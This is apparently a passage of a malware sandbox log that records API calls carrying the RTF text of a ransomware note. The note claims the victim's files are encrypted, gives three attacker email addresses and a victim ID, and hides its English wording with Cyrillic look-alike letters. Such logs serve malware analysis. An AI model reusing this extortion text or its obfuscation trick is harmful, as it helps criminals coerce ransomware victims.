il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 